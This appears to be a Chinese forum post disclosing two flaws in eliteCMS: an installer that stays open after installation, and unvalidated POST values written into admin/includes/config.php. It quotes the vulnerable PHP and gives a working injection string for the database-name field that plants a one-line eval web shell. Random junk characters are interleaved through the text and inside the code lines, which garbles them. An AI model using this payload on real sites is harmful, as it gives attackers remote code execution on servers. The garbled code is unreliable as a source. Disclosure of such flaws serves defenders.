eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
; q1 K, f5 z' [, h5 D2 t/ ^3 z7 B
) [! X5 s: Q3 M  D2 J- r$ A6 m另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
/ C7 t$ `4 v% l$ A/ U5 v: V: [: x6 _我们来看代码：

...
elseif ($_GET['step'] == "4") {
2 S- k3 j. J5 a5 n0 Z    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
/ v; [& Z2 {; y/ i    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
! K% h2 Y  k. m. k    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
- t, r* A- I8 U+ L, A    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
( n( x- n4 d5 c( C2 ~1 `    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
: ~$ |! k3 B: m: C' L1 p    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
; A! x8 l9 u' O4 o5 N    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 s- M! D, D" V    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
* `; z& Z) n/ U9 V9 }    $write .= "        \n";
    $write .= "} \n";
- C% j- f$ K6 U9 X, i; K* p4 X! }    $write .= "?>\n";
! z: V: N. y' L: }
    $writer = fopen($file, 'w');
...

; n3 y6 S: E" P& \# Z0 L% R8 y在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' s: s3 v* Y! E/ F* V$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 y0 V  D! `! w! s. j* q! r6 S8 i4 P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
9 T) h2 @5 m6 y3 ?- r$ Q* \
4 w* I2 O. p! J取值未作任何验证
& U0 i1 z  z+ Z! [% R) v如果将数据库名POST数据：

3 Z4 o- f" C$ L. z- J+ M3 d"?><?php eval($_POST[c]);?><?php

. b6 u  X" Z( \; L# b, T7 e( ~将导致一句话后门写入/admin/includes/config.php